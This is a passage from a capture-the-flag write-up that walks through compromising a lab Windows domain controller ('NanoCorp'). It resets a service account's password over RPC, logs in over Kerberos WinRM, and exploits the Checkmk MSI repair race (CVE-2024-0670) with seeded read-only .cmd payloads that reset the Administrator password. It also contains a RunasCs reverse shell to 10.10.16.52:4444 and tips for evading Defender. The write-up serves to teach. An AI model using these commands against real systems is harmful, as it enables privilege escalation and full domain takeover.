
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/changepwd.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
rpcclient -U "nanocorp.htb/web_svc%dksehdgh712!@#" dc01.nanocorp.htb &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
  -c "setuserinfo2 monitoring_svc 23 'NanoPwned123!'"
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;bash /tmp/changepwd.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;setuserinfo2&lt;/code&gt; with code &lt;code&gt;23&lt;/code&gt;?&lt;/strong&gt; Code 23 corresponds to &lt;code&gt;UserInternal4InformationNew&lt;/code&gt; in the Windows SAMR API — it's the RPC call that changes the password without knowing the old one. This is exactly what the "Reset Password" button does in Active Directory Users and Computers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;No error = password changed successfully.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 4 — monitoring_svc Shell via Kerberos WinRM
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Why Kerberos is mandatory
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;monitoring_svc&lt;/code&gt; is a member of the &lt;strong&gt;Protected Users&lt;/strong&gt; group in Active Directory. This group enforces strict security restrictions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;NTLM disabled&lt;/strong&gt;: any NTLM authentication attempt is refused&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No delegation&lt;/strong&gt;: the account cannot be used for Kerberos delegation&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reduced TGT lifetime&lt;/strong&gt;: 4 hours instead of 10&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In practice, if we try &lt;code&gt;evil-winrm -i dc01.nanocorp.htb -u monitoring_svc -p 'NanoPwned123!'&lt;/code&gt; (which uses NTLM by default), the connection will be &lt;strong&gt;silently refused&lt;/strong&gt;. We must explicitly go through Kerberos.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Kerberos configuration and connection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Kerberos configuration&lt;/span&gt;
&lt;span class="nb"&gt;sudo tee&lt;/span&gt; /etc/krb5.conf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
[libdefaults]
    default_realm = NANOCORP.HTB

[realms]
    NANOCORP.HTB = {
        kdc = dc01.nanocorp.htb
        admin_server = dc01.nanocorp.htb
    }

[domain_realm]
    .nanocorp.htb = NANOCORP.HTB
    nanocorp.htb = NANOCORP.HTB
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Get the Kerberos TGT&lt;/span&gt;
faketime &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s1"&gt;'+7h'&lt;/span&gt; kinit monitoring_svc@NANOCORP.HTB
&lt;span class="c"&gt;# Enter the password: NanoPwned123!&lt;/span&gt;

&lt;span class="c"&gt;# WinRM connection via Kerberos&lt;/span&gt;
faketime &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s1"&gt;'+7h'&lt;/span&gt; evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; dc01.nanocorp.htb &lt;span class="nt"&gt;-r&lt;/span&gt; NANOCORP.HTB &lt;span class="nt"&gt;--ssl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;--ssl&lt;/code&gt;?&lt;/strong&gt; Port 5985 (plaintext WinRM) is not open — only 5986 (WinRM HTTPS) is available. The &lt;code&gt;--ssl&lt;/code&gt; flag tells Evil-WinRM to use TLS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;-r NANOCORP.HTB&lt;/code&gt;?&lt;/strong&gt; This flag enables Kerberos authentication in Evil-WinRM by specifying the realm. Without it, Evil-WinRM defaults to NTLM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;faketime&lt;/code&gt;?&lt;/strong&gt; The ~7h clock skew between our Kali and the DC would make Kerberos requests fail. &lt;code&gt;faketime&lt;/code&gt; adjusts the clock as seen by the process without touching the system clock.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F82w93q7m55jy39w7bqla.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F82w93q7m55jy39w7bqla.png" alt="Evil-WinRM — monitoring_svc shell" width="800" height="268"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  4.3 User flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;C:\Users\monitoring_svc\Desktop\user.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F227slohgjgas48uj61lx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F227slohgjgas48uj61lx.png" alt="User flag retrieved" width="797" height="55"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚩 &lt;strong&gt;User flag owned!&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 5 — Privesc: CVE-2024-0670 (Checkmk MSI Repair Race)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Enumeration from monitoring_svc
&lt;/h3&gt;

&lt;p&gt;We start by checking what's running on the box. Port 6556 wasn't visible from outside — let's check from the inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;netstat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-an&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;6556&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;TCP    0.0.0.0:6556    0.0.0.0:0    LISTENING
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc66s5tqgv47hh9dcpmee.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc66s5tqgv47hh9dcpmee.png" alt="Netstat — Checkmk port 6556 listening" width="757" height="74"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Port 6556 is the default port of the Checkmk agent — a system monitoring tool. Let's check the installed version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DisplayName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*mk*"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DisplayName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*Check*"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayVersion&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LocalPackage&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DisplayName        DisplayVersion  LocalPackage
-----------        --------------  ------------
Check MK Agent 2.1 2.1.0.50010     C:\Windows\Installer\1e6f2.msi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvm7yh1pya8yk9ycd6j1i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvm7yh1pya8yk9ycd6j1i.png" alt="Vulnerable Checkmk version in the registry" width="799" height="116"&gt;&lt;/a&gt;&lt;br&gt;
Version &lt;code&gt;2.1.0.50010&lt;/code&gt; → &lt;strong&gt;vulnerable to CVE-2024-0670&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  5.2 Understanding CVE-2024-0670 in depth
&lt;/h3&gt;
&lt;h4&gt;
  
  
  The normal mechanism
&lt;/h4&gt;

&lt;p&gt;When an MSI repair (&lt;code&gt;msiexec /fa&lt;/code&gt;) is launched for Checkmk, the agent performs the following steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Creates temporary &lt;code&gt;.cmd&lt;/code&gt; files in &lt;code&gt;C:\Windows\Temp&lt;/code&gt; with the pattern &lt;code&gt;cmk_all_&amp;lt;PID&amp;gt;_&amp;lt;counter&amp;gt;.cmd&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Writes its own configuration commands into these files&lt;/li&gt;
&lt;li&gt;Executes these files &lt;strong&gt;as SYSTEM&lt;/strong&gt; (the Windows Installer service runs as SYSTEM)&lt;/li&gt;
&lt;li&gt;Deletes the temporary files&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  The vulnerability
&lt;/h4&gt;

&lt;p&gt;The problem is twofold:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Predictable pattern&lt;/strong&gt;: the file name contains only the PID of the msiexec process and a counter (0 or 1). The PID is in a predictable range — on Windows Server, PIDs typically run between 1000 and 15000.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No integrity check&lt;/strong&gt;: msiexec does not verify that the &lt;code&gt;.cmd&lt;/code&gt; content is the one it wrote. If the file already exists and is &lt;strong&gt;read-only&lt;/strong&gt;, msiexec cannot overwrite it — and it &lt;strong&gt;executes the existing content anyway&lt;/strong&gt; as SYSTEM.&lt;/p&gt;
&lt;h4&gt;
  
  
  The logon type trap
&lt;/h4&gt;

&lt;p&gt;This is the most subtle point of the box. Windows distinguishes several types of authentication sessions:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Interactive&lt;/td&gt;
&lt;td&gt;Physical console, RunasCs &lt;code&gt;-l 2&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Network&lt;/td&gt;
&lt;td&gt;WinRM, SMB, webshells&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;RemoteInteractive&lt;/td&gt;
&lt;td&gt;RDP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The Windows Installer service (&lt;code&gt;msiserver&lt;/code&gt;) &lt;strong&gt;refuses to launch an MSI repair&lt;/strong&gt; (&lt;code&gt;/fa&lt;/code&gt;) from a type 3 (network) session. It doesn't return an error — it &lt;strong&gt;fails silently&lt;/strong&gt;. That's why:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Running &lt;code&gt;msiexec /fa&lt;/code&gt; from Evil-WinRM → &lt;strong&gt;does nothing&lt;/strong&gt; (type 3)&lt;/li&gt;
&lt;li&gt;Running &lt;code&gt;msiexec /fa&lt;/code&gt; from a webshell → &lt;strong&gt;does nothing&lt;/strong&gt; (type 3 too, HTTP network)&lt;/li&gt;
&lt;li&gt;Running &lt;code&gt;msiexec /fa&lt;/code&gt; via &lt;strong&gt;RunasCs &lt;code&gt;-l 2&lt;/code&gt;&lt;/strong&gt; → &lt;strong&gt;works&lt;/strong&gt; (creates a type 2 session)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;RunasCs with the &lt;code&gt;-l 2&lt;/code&gt; flag is the key tool here: it takes credentials and creates a &lt;strong&gt;real local interactive session&lt;/strong&gt; (type 2), even from a network session. That's what allows bypassing the msiexec restriction.&lt;/p&gt;
&lt;h3&gt;
  
  
  5.3 Preparing the exploit
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Step 1 — Upload RunasCs to C:\programdata
&lt;/h4&gt;

&lt;p&gt;We upload RunasCs via Evil-WinRM into &lt;code&gt;C:\programdata&lt;/code&gt; — a directory that Defender watches less than &lt;code&gt;C:\Windows\Temp&lt;/code&gt;. The precompiled binary survives here without being deleted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# From Evil-WinRM (monitoring_svc)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\programdata&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;upload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/mnt/macos/CTF/NanoCorp/RunasCs.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RunasCs.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;C:\programdata&lt;/code&gt; and not &lt;code&gt;C:\Windows\Temp&lt;/code&gt;?&lt;/strong&gt; Defender actively monitors &lt;code&gt;C:\Windows\Temp&lt;/code&gt; — known binaries like RunasCs or nc.exe get deleted almost instantly there. &lt;code&gt;C:\programdata&lt;/code&gt; is a legitimate system directory, less scrutinized by Defender signatures.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi6rdibqnffbac6arcwkx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi6rdibqnffbac6arcwkx.png" alt="RunasCs uploaded to C:\programdata" width="379" height="60"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2 — web_svc reverse shell via RunasCs
&lt;/h4&gt;

&lt;p&gt;We use RunasCs from Evil-WinRM to obtain a reverse shell as &lt;code&gt;web_svc&lt;/code&gt; with an &lt;strong&gt;interactive type 2 session&lt;/strong&gt;. It's this session that will let us trigger msiexec.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;T1 — Penelope&lt;/strong&gt; listening:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;From Evil-WinRM:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;C:\programdata\RunasCs.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;web_svc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'dksehdgh712!@#'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;10.10.16.52:4444&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;-l 2&lt;/code&gt;?&lt;/strong&gt; This flag forces RunasCs to create a type 2 logon (interactive). Without it, RunasCs uses the default type that wouldn't let msiexec work. It's &lt;strong&gt;the&lt;/strong&gt; critical flag of the whole privesc.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;-r 10.10.16.52:4444&lt;/code&gt;?&lt;/strong&gt; RunasCs sends a reverse shell to our listener. We can't get a direct interactive shell from Evil-WinRM since we're already inside a WinRM session.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqgiyhacoho1ectzcez2c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqgiyhacoho1ectzcez2c.png" alt="Penelope — web_svc reverse shell received" width="800" height="181"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Penelope receives the shell — we verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;C:\Windows\system32&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;nanocorp\web_svc
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Exploit — Seed and trigger
&lt;/h3&gt;

&lt;p&gt;From the &lt;code&gt;web_svc&lt;/code&gt; reverse shell (interactive type 2 session), we prepare and trigger the exploit in two steps.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1 — Seed the .cmd files
&lt;/h4&gt;

&lt;p&gt;We create 10,000 &lt;code&gt;.cmd&lt;/code&gt; files with a simple payload: write &lt;code&gt;whoami&lt;/code&gt; to a proof file and change the Administrator password. No need for a SYSTEM reverse shell — we just change the admin password.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;powershell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1..10000 | foreach { Set-Content -Path C:\Windows\Temp\cmk_all_&lt;/span&gt;&lt;span class="nv"&gt;${_}&lt;/span&gt;&lt;span class="s2"&gt;_1.cmd -Value 'whoami &amp;gt; C:\programdata\proof.txt &amp;amp; net user Administrator H4cked123!' -Force; Set-ItemProperty -Path C:\Windows\Temp\cmk_all_&lt;/span&gt;&lt;span class="nv"&gt;${_}&lt;/span&gt;&lt;span class="s2"&gt;_1.cmd -Name IsReadOnly -Value &lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="s2"&gt; }"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why such a simple payload?&lt;/strong&gt; We don't need a SYSTEM reverse shell. The payload does two things: (1) it proves SYSTEM execution via &lt;code&gt;whoami &amp;gt; proof.txt&lt;/code&gt;, and (2) it changes the Administrator password. After that, we connect directly as admin via Evil-WinRM. The simpler it is, the lower the risk that Defender intervenes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why counter &lt;code&gt;_1&lt;/code&gt;?&lt;/strong&gt; The counter in the Checkmk pattern starts at 0 or 1 depending on the version. We use &lt;code&gt;_1&lt;/code&gt; to cover the most common case.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;-Force&lt;/code&gt; and &lt;code&gt;IsReadOnly&lt;/code&gt;?&lt;/strong&gt; &lt;code&gt;-Force&lt;/code&gt; overwrites existing files (from a previous attempt). &lt;code&gt;IsReadOnly&lt;/code&gt; prevents msiexec from replacing them with its own content — it runs ours instead.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Step 2 — Trigger msiexec /fa
&lt;/h4&gt;

&lt;p&gt;Still from the &lt;code&gt;web_svc&lt;/code&gt; reverse shell (type 2 session):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;cmd&lt;/span&gt; &lt;span class="na"&gt;/c &lt;/span&gt;&lt;span class="s2"&gt;"msiexec /fa C:\Windows\Installer\1e6f2.msi"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;cmd /c&lt;/code&gt;?&lt;/strong&gt; We wrap msiexec in &lt;code&gt;cmd /c&lt;/code&gt; to make sure the command runs in a fresh, clean cmd.exe process, and that the current shell waits for execution to finish.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why does this command work here but not from Evil-WinRM?&lt;/strong&gt; Because we're in an &lt;strong&gt;interactive type 2 session&lt;/strong&gt; created by RunasCs. Evil-WinRM is a type 3 network session — msiexec silently refuses to work there.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Step 3 — Verification
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="kd"&gt;C&lt;/span&gt;:\programdata\proof.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nt authority\system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffen7xtr99bc11y0hocv9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffen7xtr99bc11y0hocv9.png" alt="proof.txt — SYSTEM execution confirmed" width="799" height="298"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📸 &lt;strong&gt;SYSTEM confirmed!&lt;/strong&gt; The Administrator password has been changed.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.5 Connecting as Administrator
&lt;/h3&gt;

&lt;p&gt;The payload changed the administrator's password. We connect directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; dc01.nanocorp.htb &lt;span class="nt"&gt;-u&lt;/span&gt; Administrator &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'H4cked123!'&lt;/span&gt; &lt;span class="nt"&gt;--ssl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;C:\Users\Administrator\Desktop\root.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



